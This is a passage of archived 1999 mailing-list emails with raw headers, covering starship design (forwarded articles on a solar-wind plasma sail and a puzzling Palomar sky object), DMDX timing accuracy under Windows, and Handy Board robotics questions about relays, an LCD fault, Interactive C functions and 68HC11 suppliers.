supports double integer digits with zero fill therefore I don't get the proper display for times such as 00:00:00 what I get is 0:0:0! Is there a better solution to the above problem than to break down the seconds, minutes, hours into tens and ones mathematically. If anybody has come across this problem or has a better solution I would like to hear it. Thanks ",0,0 Fred Reyes ,starship-design@lists.uoregon.edu,"Fri, 13 Aug 1999 10:40:36 -0700",starship-design: starship design webpage,"Thanks for all the info....any news on the webpage for starhip design...what is the sites address? Fred ______________________________ How to find me: AOLIM: Warlord400 Personal Site: http://www.go.to/fredreyes ______________________________________________________ Get your free web-based email at http://www.xoom.com Birthday? Anniversary? Send FREE animated greeting cards for any occasion at http://greetings.xoom.com ",0,1 KellySt@aol.com,"reyesfred@xoommail.com, starship-design@lists.uoregon.edu","Fri, 13 Aug 1999 17:45:08 -0400",Re: starship-design: starship design webpage,"In a message dated 8/13/99 12:41:46 PM, reyesfred@xoommail.com writes: >Thanks for all the info....any news on the webpage >for starhip design...what is the sites address? > >Fred http://metalab.unc.edu/lunar/school/InterStellar/SSD_index.html >From VM Mon Aug 16 10:33:37 1999 Content-Length: 182 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""182"" ""Sunday"" ""15"" ""August"" ""1999"" ""13:56:25"" ""+0100"" ""Timothy van der Linden"" ""Shealiak@XS4ALL.nl"" nil ""8"" ""starship-design: Storing hydrogen"" ""^From:"" nil nil ""8"" nil ""starship-design: Storing hydrogen"" nil nil nil] nil) Content-Length: 182 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id GAA12262 for starship-design-outgoing; Sun, 15 Aug 1999 06:03:09 -0700 (PDT) Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.127.49]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id GAA12257 for ; Sun, 15 Aug 1999 06:03:07 -0700 (PDT) Received: from - (dc2-modem2414.dial.xs4all.nl [194.109.137.110]) by smtp3.xs4all.nl (8.9.3/8.9.3) with SMTP id PAA00271 for ; Sun, 15 Aug 1999 15:03:05 +0200 (CEST) Message-Id: <3.0.1.32.19990815135625.006b57d8@pop.xs4all.nl> X-Sender: shealiak@pop.xs4all.nl X-Mailer: Windows Eudora Light Version 3.0.1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: Timothy van der Linden From: Timothy van der Linden Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: Storing hydrogen Date: Sun, 15 Aug 1999 13:56:25 +0100 Hi all, Hydrogen could be used for fusion, but its storage is a bit awkward. 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Mauro ------=_NextPart_000_00CA_01BEE7E3.002D16E0-- >From VM Tue Aug 17 10:02:20 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""4882"" ""Monday"" ""16"" ""August"" ""1999"" ""23:17:27"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""110"" ""starship-design: solar wind plasma sail"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 4882 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id XAA19339 for starship-design-outgoing; Mon, 16 Aug 1999 23:17:29 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id XAA19333 for ; Mon, 16 Aug 1999 23:17:28 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [204.214.99.68]) by clavin.efn.org (8.9.3/8.9.3) with ESMTP id XAA08901 for ; Mon, 16 Aug 1999 23:17:25 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.9.3/8.9.3) id XAA06986; Mon, 16 Aug 1999 23:17:31 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14264.65143.145083.87365@localhost.efn.org> X-Mailer: VM 6.73 under 20.4 ""Emerald"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: solar wind plasma sail Date: Mon, 16 Aug 1999 23:17:27 -0700 (PDT) Here's an article from the USENET sci.space.news group on a spacecraft propulsion system that will use a plasma-based magnetic field generator to allow a spacecraft to be accelerated by the solar wind. From: Andrew Yee Subject: New spacecraft propulsion method could be out of this solar system (Forwarded) Newsgroups: sci.space.news Followup-To: sci.space.policy Date: Mon, 16 Aug 1999 21:00:28 -0400 Organization: via Internet Direct Reply-To: ayee@nova.astro.utoronto.ca University of Washington FROM: Vince Stricherz, 205-543-2580, vinces@u.washington.edu FOR IMMEDIATE RELEASE: Aug. 16, 1999 New spacecraft propulsion method could be out of this solar system It sounds like a ""droid"" straight out of Star Wars. That's not a coincidence because a new propulsion system dubbed M2P2 can greatly boost spacecraft speeds, perhaps to 10 times the velocity of the space shuttle, University of Washington scientists believe. NASA's Institute for Advanced Concepts last week awarded a two-year, $500,000 grant to a UW team headed by geophysicist Robert Winglee to continue research on Mini-Magnetospheric Plasma Propulsion. If laboratory work and tests in space succeed, he hopes in 10 years to launch an M2P2-equipped spacecraft that would become the first from Earth to leave the Solar System. That would be quite a feat, considering the craft would have to overtake Voyager I, launched in 1977 and now about 6.8 billion miles away but still within the solar system. Winglee, an associate geophysics professor, has been working on M2P2 the last nine months with geophysics professor George Parks and John Slough, a research associate professor of aeronautics and astronautics. They are developing a prototype and are preparing for tests in the UW's Redmond Plasma Physics Laboratory. Their system would use a plasma chamber about the size of a large pickle jar, perhaps 10 inches by 10 inches, attached to a spacecraft. Solar cells and solenoid coils would power the creation of a dense magnetized plasma, or ionized gas, that would inflate an electromagnetic field 10 to 12 miles in radius around the spacecraft. The field would interact with and be dragged by the solar wind. Creating the field would be akin to raising a giant sail and harnessing the solar wind, which moves at 780,000 to 1.8 million miles an hour -- or ""here to Washington, D.C., in 10 seconds,"" Winglee said. There is enough power in the solar wind to move a 300-pound spacecraft at speeds up to 180,000 miles per hour or 4.3 million miles a day. By contrast, the space shuttle travels at about 18,000 miles per hour or 430,000 miles a day. At such speeds, an M2P2-equipped spacecraft launched today could overtake Voyager I within eight years, despite Voyager's 22-year head start. The idea for M2P2 grew from the study of plasma jets forming around young stars, and was formalized in a $75,000 startup grant from the NASA Institute for Advanced Concepts. The system has built-in advantages over solar sails, which are very large, thin sheets of reflective material such as Mylar that can turn sunlight into a propelling force. Solar sails are typically many times larger than the spacecraft they propel and must be deployed mechanically. The M2P2 plasma chamber is far lighter and less bulky than sails. Just a few kilowatts of power would support the magnetic field and only about 100 pounds of additional propellant would be required. Adding the device to a spacecraft might cost $1 million, but it would provide substantial cost savings for the overall mission and would provide easier access to the planets and beyond, Winglee said. M2P2 could be a major advancement in space travel, but it might be too tame for two generations that have grown up with science-fiction adventures such as Star Trek and Star Wars. ""It's amazing how many people say, 'That's not fast enough,'"" Winglee said. ""People want to go to warp drive so they can get to the next solar system."" However, Star Trek's warp drive and the hyperdrive propulsion from Star Wars, both of which can exceed light speed (186,000 miles per second in a vacuum), are not possible under the current understanding of the laws of physics. For now, at least, plasma propulsion could prove to be the best option to the science fiction propulsion systems. If tests on M2P2 succeed, Winglee expects the system's first use in space will come on a mission NASA already will have scheduled. ""If it works, we'll have some real fun then,"" he said. ### For more information, contact: Winglee at (206) 685-8160 or winglee@geophys.washington.edu Parks at (206) 543-0953 or parks@geophys.washington.edu Slough at (425) 881-7706 slough@aa.washington.edu Additional information is available via the Internet at http://www.geophys.washington.edu/Space/SpaceModel/M2P2/ -- Andrew Yee ayee@nova.astro.utoronto.ca >From VM Tue Aug 17 16:39:37 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1197"" ""Tuesday"" ""17"" ""August"" ""1999"" ""18:20:15"" ""-0500"" ""L. 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Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: Discrete Approaches to Quantum Gravity in Four Dimensions Date: Tue, 17 Aug 1999 18:20:15 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_0031_01BEE8DE.4DC56B40 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit If you are interested in gravity research, don't miss this paper. It is very thorough... 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Parker"" ""lparker@cacaphony.net"" nil ""98"" ""starship-design: Fw: Mystery Object in Space Confounds Astronomers (Fwd)"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 4812 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id PAA17892 for starship-design-outgoing; Wed, 18 Aug 1999 15:41:08 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id PAA17861 for ; Wed, 18 Aug 1999 15:40:58 -0700 (PDT) Received: from broadsword (p445.gnt.com [204.49.91.61]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id RAA01120 for ; Wed, 18 Aug 1999 17:40:55 -0500 Message-ID: <000f01bee9ca$a1e6b6b0$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: Fw: Mystery Object in Space Confounds Astronomers (Fwd) Date: Wed, 18 Aug 1999 17:23:07 -0500 Observer wrote in message news:<7pe354$m6k$1@nnrp1.deja.com>... > New York Times / By John Noble Wilford - August 17 1999 > > Mystery object radiating deep in northern sky is no normal star, they > say. > > Astronomers have an unyielding mystery on their hands, something they > have observed and pondered for three years, a point of light deep in > the northern sky that appears to be like nothing seen before. > This may turn out to be only a curiosity, an odd variation of a > familiar phenomenon, or it may be the first evidence of some > unsuspected object with reverberating theoretical implications. > > The mystery object has so far confounded astronomers because they > cannot decipher the language of its light. Usually, by breaking down > the spectrum of light into its component elements and charting the > spikes and dips on a graph, astronomers can identify and describe an > object within minutes. > > In this case, however, astronomers are finding nothing familiar about > the light spectrum, a couple of Everests representing emissions from > the object surrounded by lower peaks and broad valleys of heavy > elements that blot out the true contours of the object's nature. ""I've > never seen a spectrum anything like this, and I take spectra for a > living,'' said S. George Djorgovski, an astronomer at the California > Institute of Technology who is the leader of the sky survey that > detected the mystery object. > > Whatever the astronomers are seeing, it is probably not a star, at > least not any normal star. The light signature of stars is much simpler > than this object's. Nor is it a distant galaxy, which would have much > different light patterns. > > With little evidence and even less conviction, some astronomers > speculate that the object is a quasar, one of the sources of tremendous > energies at the farthest reaches of the universe where the enormous > gravitational power of black holes presumably gobbles up surrounding > matter. If it is a quasar, it must be a rare kind beyond current > understanding. > > ""It doesn't look like a quasar to my eye, but I may be wrong,'' said > Dr. Wallace Sargent, a Caltech astronomer and quasar specialist, who is > also director of Palomar Observatory in Southern California, where the > discovery was made. So if it is not a normal star, galaxy or strange > quasar, astronomers say, the most intriguing possibility is that the > mystery object is announcing the existence of an entirely new cosmic > phenomenon. > > ""But we must do everything to rule out the known before we postulate > that we have discovered something really and truly new,'' Djorgovski > said. > > Djorgovski and his team -- Dr. Stephen Odewahn, Dr. Robert Brunner and > Roy Gal, a graduate student -- examined the object's light spectrum. > Some of the lines of emissions, especially the two Everest spikes, > looked too sharp to be from a quasar. They combed the star catalogs and > published research papers but found nothing like it. > > A search in the archives of X-ray and infrared surveys failed to show > anything in those wavelengths at the location where the object's > visible light was detected. Radio antennas of the Very Large Array in > New Mexico scanned the same patch of sky. They picked up only weak > radio emissions from the region; many quasars have proved to be ""radio > loud.'' > > ""This was the first one of something new, and a complete mystery to > us,'' Djorgovski said. > > The next step for Djorgovski's team was to photograph the object again > and again. Some aspects of the spectrum reminded them of a supernova a > few days after the explosion. But in the pictures, the light from the > object did not die down, as it would as a supernova faded. > > Other examinations ruled out the possibility that the object was an > aging white dwarf star, where strong magnetic fields had distorted > normal spectral lines. Comparisons with all other examples of peculiar > stars also failed to suggest a solution. > > It is not even clear from the spectrum whether the object is extremely > far away or relatively close by. Distances are estimated by the shift > of light to the red end of the spectrum, a sign of the object's > velocity as it recedes from the observer in the expanding universe. > > In a presentation at the June meeting of the American Astronomical > Society in Chicago, Djorgovski issued a challenge to all colleagues to > help solve the mystery. > > ""We may find it's a sub-sub-subspecies of quasars for which there may > be only one example,'' he said in an interview. Or it could be > something entirely new. ""We can't think we have discovered all the > kinds of things there are out there,'' he added. > > > Sent via Deja.com http://www.deja.com/ > Share what you know. Learn what you don't. >From VM Wed Aug 18 15:43:01 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2586"" ""Wednesday"" ""18"" ""August"" ""1999"" ""17:35:18"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""40"" ""starship-design: Astronomers Baffled by Space Light"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 2586 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id PAA17997 for starship-design-outgoing; Wed, 18 Aug 1999 15:41:42 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id PAA17963 for ; Wed, 18 Aug 1999 15:41:26 -0700 (PDT) Received: from broadsword (p445.gnt.com [204.49.91.61]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id RAA01128 for ; Wed, 18 Aug 1999 17:40:57 -0500 Message-ID: <001001bee9ca$a5a2d450$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: Astronomers Baffled by Space Light Date: Wed, 18 Aug 1999 17:35:18 -0500 Astronomers Baffled by Space Light By MATTHEW FORDAHL AP Science Writer LOS ANGELES (AP) - An arsenal of analytic tools used to figure out the makeup and distance of stars and galaxies has failed to unlock the secrets of a mysterious celestial light detected three years ago. ``It's fairly uncommon to stumble on something you don't have a clue about,'' astronomer S. George Djorgovski said Tuesday. ``It certainly hasn't happened to me, and I've been doing this for many years.'' Djorgovski was part of the team at Caltech's Palomar Observatory that detected the object, a pinpoint of light, during a digital survey of the northern sky. It remains one of the biggest mysteries uncovered by the Digital Palomar Sky Survey. The survey, which has collected information on more than 50 million galaxies and about 2 billion stars, is about two-thirds complete. Some astronomers believe the object may be a new class of quasar, sources of energy found in the center of galaxies and believed to be powered by matter falling into massive black holes. ``This sort of looks a little like them, but not quite. The similarity may be superficial,'' Djorgovski said. ``That's the closest thing we have found in all the astronomical literature.'' Usually, astronomers are able to determine an object's composition and distance by breaking down and analyzing its light. But the mystery object's spectrum does not fit any of the known patterns, Djorgovski said. Light also usually holds clues about an object's distance. But because graphs derived from the light do not match anything known, researchers aren't sure whether it is inside or outside the Milky Way galaxy. Repeated photographs revealed no changes in its appearance, ruling out the possibility that it's an exploding star or supernova. Djorgovski challenged fellow astronomers to help explain his discovery at the June meeting of the American Astronomical Society in Chicago. So far, nobody has produced an adequate explanation. ``We probably have looked at the spectra of several thousand quasars, and this just doesn't seem to fit,'' said David Crampton, an astronomer with the National Research Council of Canada. ``It didn't ring any bells.'' The next step will be to analyze the object's infrared spectrum, something Djorgovski hopes to do next month at the Keck Observatory in Hawaii. Researchers also hope that the Hubble Space Telescope might someday be pointed at the object, which is located in the constellation Serpens. ``But it's very competitive to get time on the Hubble, and they don't like fishing expeditions,'' he said. >From VM Wed Aug 18 17:18:25 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""5005"" ""Wednesday"" ""18"" ""August"" ""1999"" ""19:12:11"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""107"" ""starship-design: Mysterious light leaves astronomers in the dark"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 5005 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id RAA11894 for starship-design-outgoing; Wed, 18 Aug 1999 17:16:59 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id RAA11357 for ; Wed, 18 Aug 1999 17:13:49 -0700 (PDT) Received: from broadsword (p460.gnt.com [204.49.91.76]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id TAA12893 for ; Wed, 18 Aug 1999 19:13:37 -0500 Message-ID: <001201bee9d7$97a29e50$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: Mysterious light leaves astronomers in the dark Date: Wed, 18 Aug 1999 19:12:11 -0500 Mysterious light leaves astronomers in the dark BY JOHN NOBLE WILFORD New York Times Every night at their telescopes, astronomers invite the universe to a battle of wits. Surprise us, they say, with some teasing wink of light, some few cryptic clues to something unfamiliar and, better yet, an implied challenge to a cherished theory. In most cases, astronomers boast, we will have it figured out by dawn. Now astronomers have an unyielding mystery on their hands, something they have observed and pondered for three years, a point of light deep in the northern sky that appears to be like nothing seen before. This may turn out to be only a curiosity, an odd variation of a familiar phenomenon, or it may be the first evidence of some unsuspected object with reverberating theoretical implications -- similar in that sense to the recent detection of planets around other stars. No clues from spectrum The mystery object has so far confounded astronomers because they cannot decipher the language of its light. Usually, by breaking down the spectrum of light into its component elements and charting the spikes and dips on a graph, astronomers can identify and describe an object within minutes. In this case, however, astronomers are finding nothing familiar about the light spectrum, a couple of Everests representing emissions from the object surrounded by lower peaks and broad valleys of heavy elements that blot out the true contours of the object's nature. They are beginning to sympathize with archaeologists who sought to read Egyptian hieroglyphics without the Rosetta Stone. ``I've never seen a spectrum anything like this, and I take spectra for a living,'' said S. George Djorgovski, an astronomer at the California Institute of Technology who is the leader of the sky survey that detected the mystery object. Whatever the astronomers are seeing, it is probably not a star, at least not any normal star. The light signature of stars is much simpler than this object's. Nor is it a distant galaxy, which would have much different light patterns. With little evidence and even less conviction, some astronomers speculate that the object is a quasar, one of the sources of tremendous energies at the farthest reaches of the universe where the enormous gravitational power of black holes presumably gobbles up surrounding matter. If it is a quasar, it must be a rare kind beyond current understanding. ``It doesn't look like a quasar to my eye, but I may be wrong,'' said Wallace Sargent, a Caltech astronomer and quasar specialist, who is also director of the Palomar Observatory in Southern California, where the discovery was made. So if it is not a normal star, galaxy or strange quasar, astronomers say, the most intriguing possibility is that the mystery object is announcing the existence of an entirely new cosmic phenomenon. ``But we must do everything to rule out the known before we postulate that we have discovered something really and truly new,'' Djorgovski said. New discoveries ahead Mystification is likely to be a more common experience in astronomy as more powerful telescopes and instruments with improved sensitivity are used for systematic probes deeper into the universe and over broader stretches of sky. Several comprehensive sky surveys under way or just beginning are expected to discover many rare or even previously unknown types of astronomical objects and forces. Exploring the entire northern sky in different color filters, for example, the Digital Palomar Sky Survey, now nearing completion, has collected data on more than 50 million galaxies and about 2 billion stars. The census has identified more than 70 quasars at such great distances that they are being seen at a time when the universe was less than 10 percent of its present age. One surprising discovery was a star like light several hundred times brighter than the galaxy with which it was associated. Astronomers are not sure, but they suspect they were seeing the after-effects of a gamma-ray burst, the most powerful events in the universe today. First detected in the 1960s, gamma-ray bursts are examples of an astronomical mystery that is only now being solved. Isolating rare points For the survey, astronomers devised computer programs to sift through processed photographs for star like objects, then distinguish the stars from galaxies and isolate rare points of light that are not immediately recognizable. This was how the new mystery object showed up. Djorgovski and his team examined the object's light spectrum. Some of the lines of emissions, especially the two Everest spikes, looked too sharp to be from a quasar. They combed the star catalogs and published research papers, but found nothing like it. A search in the archives of X-ray and infrared surveys failed to show anything in those wavelengths at the location where the object's visible light was detected. ``This was the first one of something new, and a complete mystery to us,'' Djorgovski said.",0,1 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Fri, 13 Aug 1999 15:47:33 -0700",[DMDX] Re: Timing Accuracy," Concerning the Myors (1999) article on timing accuracy with Windows: 1. Relative accuracy of DOS vs Windows. Myors uses a very simple test. He just presses a key and keeps it down. This sends a continuous stream of keypresses to the O/S at regular (definable) intervals. He then measures the intervals between characters. Under these circumstances, there is no polling of the keyboard (unlike the situation in an actual experiment), so this method excludes that source of variability. So, the ONLY source of error is when the O/S intervenes for some purpose. With DOS, it never intervenes, so timing is perfect. But with Windows, intervention is quite frequent, since it is a multitasking operating system. The point is that this test exaggerates the difference between DOS and Windows. Under actual experimental conditions, with a subject pressing the key in response to a display, the difference may be much less. Figures for DM/DMTG suggest that keyboard errors (using the SHIFT keys) range from 13 to 23 ms (see DMASTR Release Note 13), and they do not appear to differ markedly from those available for DMDX, which range from 40-47ms on an old AT Keyboard, 33-40ms on an OmniKey 102, and 33-69ms on a cheap Win95 KB. The ""Input"" section of the DMDX Help file contains an extensive discussion of these issues. 2. Inevitability of timing errors in Windows Myors says that ""it is likely that the problems illustrated here are due to the multitasking kernel per se and will be evident [even] in programs written specifically for Windows."" This is quite wrong. Jonathan specifically set out to write a program that took the multitasking characteristics of Windows into account. He uses the High Performance Timer, which comes on the motherboard of Pentiums, which is a very accurate, uninterruptable clock. If DMDX has been told that the refresh cycle on this machine (at this screen resolution, with this monitor, and this graphics card) is 13.75 ms (this is what TimeDX does), and it notes that 14.3256 ms has elapsed since the last refresh, then it infers that it must have missed it, due to the fact that DMDX wasn't running when the refresh signal actually occurred. So it adjusts its count accordingly. So, no error here. When the time comes for a new frame to be displayed, DMDX sets a switch such that the ""flip"" to the new page will occur at the time of the next retrace. Therefore, so long as DMDX gets control at any stage during the penultimate refresh cycle, there will be no error. However, an error will occur if DMDX is pre-empted by the Windows kernel for more than an entire refresh cycle. This does happen occasionally (depends on the speed of the CPU and whether you have any other tasks running on your machine), and when it does, an error message is displayed on the .azk output for that item, and on the file ""diagnostics.txt"". TimeDX also has tests that tell you how often this happens. As for timing RTs correctly, there are various sources of error. One is the time taken for the microprocessor in the keyboard to poll the keys. This varies from one keyboard to the next, and from one brand of keyboard to the next. As noted earlier, Myors' method excludes this error altogether. Another source of error is whether DMDX is running at the precise moment when a response button is pressed. DMDX is set up so that it asks the kernel for a ""call back"" every millisecond. Most of the time, this works, but occasionally, the kernel fails, and you might have two or three ms elapsing between call-backs. In this case, the RT will be overestimated by two or three ms. (This does not apply to keyboard responses). How often does this happen? Again, it will vary depending on your CPU and the other things that are running. To enable users to find out how often this occurs during their experiment, Jonathan has written two Test Modes into DMDX that can be called from the .rtf file. These indicate on the screen how many call-back errors occur, and their duration. Errors as great as three or four ms occur with a very low probability on the test beds we have used. 3. Conclusion The timing errors involved in DMDX are nowhere near the magnitude suggested by Myors (1999), and users should not be alarmed. However, we urge all users to conduct thorough tests on their own machines using the various diagnostic tests that have been provided. --Ken Forster ",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Fri, 13 Aug 1999 16:41:06 -0700",[DMDX] Re: Revamped Web Page,"From: Kenneth Forster Date: August 13, 1999 Topic: New DMASTR Web page I am starting the process of updating the DMASTR Web page. Ultimately, I hope to create a supplement to Jonathan's Help files in HTML format. I would appreciate comments on the shortcomings, and suggestions for things that are badly needed. Hopefully, I got all the links right. One issue is whether people feel the need for a printable manual. Setting things up as HTML files doesn't always lead to a straightforward linear text. --KIF",0,0 MAR ERICSON ,Handy Board mailing list ,"Sat, 14 Aug 1999 15:12:10 -0400",Do solid state relays require heat sinking?,"Do solid state relays require heat sinking? Does anyone have any experience with them as motor drivers? Any pointers? Thanks for any input! :) ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 Ryan Meuth ,Handy Board Mailing List ,"Sat, 14 Aug 1999 16:19:15 -0500",LCD Problem,"Greetings All! I recently had some power supply problems with my handy board during which the inductor burnt out. I fixed this problem, presumably- I replaced the 5V voltage regulator, the inductor, the 74hc04, and the 74hc132. I plugged the LCD back into the Handy Board, and turned it on, and it gave me the 16 blocks across the top that it is supposed to. I set the config register and loaded the pcode, which it didn't seem to have any problems doing. But when I turned it on, it beeped once, but it didn't give me the Interactive C v.2.81 like it is supposed to. I loaded IC, and that worked, but when I tried to send it a printf command it gave me the 16 blocks across the top instead of ""Hello World"". Is there something that I still need to replace? Could the LCD be damaged? Is it a memory thing? Thank you very much. -Ryan Meuth ",0,0 Jonathan Pennington ,Handyboard list ,"Sun, 15 Aug 1999 11:28:17 -0400",Public Functions,"Hello all, got a bit of a problem, I'm developing a robotics project for grade school kids, and I want them to be able to program the bot. Instead of teaching them all IC (which seems unlikely), I decided to try to write a little pseudo-code interpreter (""Yeah, with all that spare time you've got,"" says my wife). This would allow the kids to use easily understandable commands to write the program, and they would be able to compile it themselves through the interpreter, which would through its output right to the IC compiler (of course, I haven't worked out the details yet). I'm thinking of something like Ousterhout's TCL scripting language, which is like an easier way to access and understand C programming commands. Does anybody have a file of all of the public functions available in IC (V. 2.860 or similiar)? I don't have a Handy Board right now, and picking them all out of the code might cause me to miss some and add ones that don't exist. (If there's a way to run IC on my box without a board connected to the serial port, I'd do it). I need to know which functions are public in order to start. I imagine I'll just do a simple trial with the currently available functions and a few other things, just to see if it's worth it trying to develop a serious interpreter. The main functions in IC are already pretty easy, but if we are to do anything more complicated than that, it may get a bit hairy for 7th and 8th graders. -- ___________________________________________________________________________ Jonathan Pennington | -Wannabe Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna ""The Lighter Side"" root@localhost (Spambot food) | 71 Triumph TR6C ""Mistake"" ---------------------------------------------------------------------------- ",0,0 Jonathan Pennington ,Handyboard list ,"Sun, 15 Aug 1999 11:36:51 -0400",Functions/ NEVERMIND,"Seconds later I find the -sim tag, allowing me to find the functions myself. Sorry for the wasted time all, next time I'll do a bit more homework! -- ___________________________________________________________________________ Jonathan Pennington | -Wannabe Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna ""The Lighter Side"" root@localhost (Spambot food) | 71 Triumph TR6C ""Mistake"" ---------------------------------------------------------------------------- ",0,0 Terry Gathright ,"Jonathan Pennington , Handyboard list ","Sun, 15 Aug 1999 11:27:08 -0500",Re: Public Functions,"Jonathan, Good Idea! Bring up IC just as you had the board connected. When IC prompts you to ""Board not sponding"" Configure board settings ?"" ckick yes then click . You can then type commands. Bye Terry -----Original Message----- From: Jonathan Pennington To: Handyboard list Date: Sunday, August 15, 1999 11:08 AM Subject: Public Functions >Hello all, got a bit of a problem, > >I'm developing a robotics project for grade school kids, and I want them >to be able to program the bot. Instead of teaching them all IC (which >seems unlikely), I decided to try to write a little pseudo-code >interpreter (""Yeah, with all that spare time you've got,"" says my wife). >This would allow the kids to use easily understandable commands to write >the program, and they would be able to compile it themselves through the >interpreter, which would through its output right to the IC compiler (of >course, I haven't worked out the details yet). I'm thinking of something >like Ousterhout's TCL scripting language, which is like an easier way to >access and understand C programming commands. > >Does anybody have a file of all of the public functions available in IC >(V. 2.860 or similiar)? I don't have a Handy Board right now, and >picking them all out of the code might cause me to miss some and add >ones that don't exist. (If there's a way to run IC on my box without a >board connected to the serial port, I'd do it). I need to know which >functions are public in order to start. I imagine I'll just do a simple >trial with the currently available functions and a few other things, >just to see if it's worth it trying to develop a serious interpreter. >The main functions in IC are already pretty easy, but if we are to do >anything more complicated than that, it may get a bit hairy for 7th and >8th graders. >-- >___________________________________________________________________________ >Jonathan Pennington | -Wannabe Geologist/Anthropologist >Charleston, SC | -Linux User and Advocate >Email at jwp(at)awod.com | 83 V45 Magna ""The Lighter Side"" >root@localhost (Spambot food) | 71 Triumph TR6C ""Mistake"" >--------------------------------------------------------------------------- -",0,0 GMV ,handyboard@media.mit.edu,"Mon, 16 Aug 1999 00:41:01 +0200",Microcontroller supplier wanted,"From Gian Maria Vescovi mnp55@iol.it To Handyboard mail list 15 August 1999 Hi to all, I am looking for a supplier, best if on-line, to buy some microcontroller 68HC11. Some body can help me ??? I alredy try to Digikey - Mouser - Jameco - JDR - Maplin but they do not have in stock any 68HC11A8 or E2 E9. ByBy ",0,0 Dinh Bowman ,GMV ,"Sun, 15 Aug 1999 16:12:55 -0700",Re: Microcontroller supplier wanted," Hi to all, I am looking for a supplier, best if on-line, to buy some microcontroller 68HC11. Some body can help me ??? I alredy try to Digikey - Mouser - Jameco - JDR - Maplin but they do not have in stock any 68HC11A8 or E2 E9. Try www.Newark.com -Dinh- ",0,0 Nick Taylor ,"GMV , handyboard@media.mit.edu","Sun, 15 Aug 1999 16:35:43 -0700",Re: Microcontroller supplier wanted,"try here ==> http://www.bgmicro.com/ > GMV wrote: > > From Gian 